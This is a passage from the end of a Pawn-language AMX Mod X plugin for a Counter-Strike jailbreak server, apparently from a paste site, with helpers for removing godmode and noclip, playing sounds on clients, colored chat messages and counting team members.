  4418. fm_set_user_godmode(id)
  4419. ColorChat(id, "You're ^3Godmode^4 is now 0.")
  4420. }
  4421. public RemoveNoclip(id) {
  4422. fm_set_user_noclip(id)
  4423. ColorChat(id, "You're ^3Noclip^4 is now 0.")
  4424. }
  4425. public RemoveFootsteps(id) {
  4426. footstep[id] = false
  4427. ColorChat(id, "Now Hear your ^3footsteps^1.")
  4428. }
  4429. public ShowSong(id) client_cmd(id, "mp3 play sound/Extreme-Jail/JB_Connecting.mp3" )
  4430. public spksecond() client_cmd(0, "spk ^"vox/seconds^"")
  4431. public reset_pick(id) can_pickup[id] = true
  4432. public _ShowDelay(id) --send_delay[id]
  4433.  
  4434. stock ColorChat(index, const Msg[], {Float, Sql, Result,_}:...) {
  4435. new Buffer[190], Buffer2[192]
  4436. formatex(Buffer2, sizeof(Buffer2)-1, "^3[^1 ליי'ג ^3]^1 %s", Msg)
  4437. vformat(Buffer, sizeof(Buffer)-1, Buffer2, 3)
  4438. if(!index) {
  4439. for (new i = 1; i <= g_max_clients; i++) {
  4440. if(!is_user_connected(i)) continue
  4441. message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, i)
  4442. write_byte(i)
  4443. write_string(Buffer)
  4444. message_end()
  4445. }
  4446. } else {
  4447. if(!is_user_connected(index)) return
  4448. message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, index)
  4449. write_byte(index)
  4450. write_string(Buffer)
  4451. message_end()
  4452. }
  4453. }
  4454. stock bool:check_points(index,amount)
  4455. return playerpoints[index] >= amount ? true:false;
  4456.  
  4457. print_message(id, msg[]) {
  4458. message_begin(MSG_ONE, g_iMsgSayText, {0,0,0}, id)
  4459. write_byte(id)
  4460. write_string(msg)
  4461. message_end()
  4462. }
  4463. public TeamCount(&ct, &t)
  4464. {
  4465. for(new id=1; id <= g_max_clients; id++) {
  4466. if(!is_user_connected(id) || !is_user_alive(id))
  4467. continue
  4468. if(cs_get_user_team(id) == CS_TEAM_T)
  4469. t++
  4470. else if(cs_get_user_team(id) == CS_TEAM_CT)
  4471. ct++
  4472. }
  4473. }
  4474. /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
  4475. *{\\ rtf1\\ fbidis\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil\\ fcharset0 Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ ltrpar\\ lang14337\\ f0\\ fs16 \n\\ par }
  4476. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement